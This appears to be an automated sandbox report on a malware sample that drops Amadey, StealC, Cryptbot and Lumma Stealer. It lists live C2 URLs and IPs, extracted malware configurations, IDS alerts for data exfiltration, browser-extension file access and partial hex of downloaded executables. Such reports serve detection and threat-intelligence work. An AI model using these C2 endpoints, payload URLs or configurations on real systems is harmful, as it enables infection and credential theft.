Source: http://185.215.113.206/c4becf79229cb002.phpV4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php.5fM%	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php793001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpF5	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php01	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php0/	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)F	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedD	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/martin/random.exe;	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/Spreadtest.cmd	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000010.00000002.2073320644.0000000000871000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: ddd4dd05d2.exe.7948.38.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["x3hahome.twentykx20sb.top", "2KPnhome.twentykx20sb.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CB46C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC944C0 PK11_PubEncrypt,	0_2_6CC944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC94440 PK11_PrivDecrypt,	0_2_6CC94440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CCE25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC78670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC78670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CCBA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CCC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CC943B0

Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_0b66fa2a-2

Phishing

Yara detected BlockedWebSite

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\1010789001\build.exe, type: DROPPED

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5d1390e5c6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5d1390e5c6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Bitcoin Miner

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu2.nanopool.org

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.9:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.9:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.42:443 -> 192.168.2.9:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.168.81:443 -> 192.168.2.9:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50052 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.9:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.9:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.9:49813
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49833 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49861 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49895 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.9:49908 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49928 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49954 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49955 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49956 -> 34.17.28.197:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49965 -> 34.17.28.197:80
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.9:49973 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:50017 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:50015 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:50074 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49925 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49925 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49932 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49932 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49945 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49998 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49974 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49974 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49991 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49991 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.9:50045 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:50052 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: x3hahome.twentykx20sb.top
Source: Malware configuration extractor	URLs: 2KPnhome.twentykx20sb.top

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: build.exe.19.dr

Source: global traffic

TCP traffic: 192.168.2.9:50143 -> 51.195.43.17:10343

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:52:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:52:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:53:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 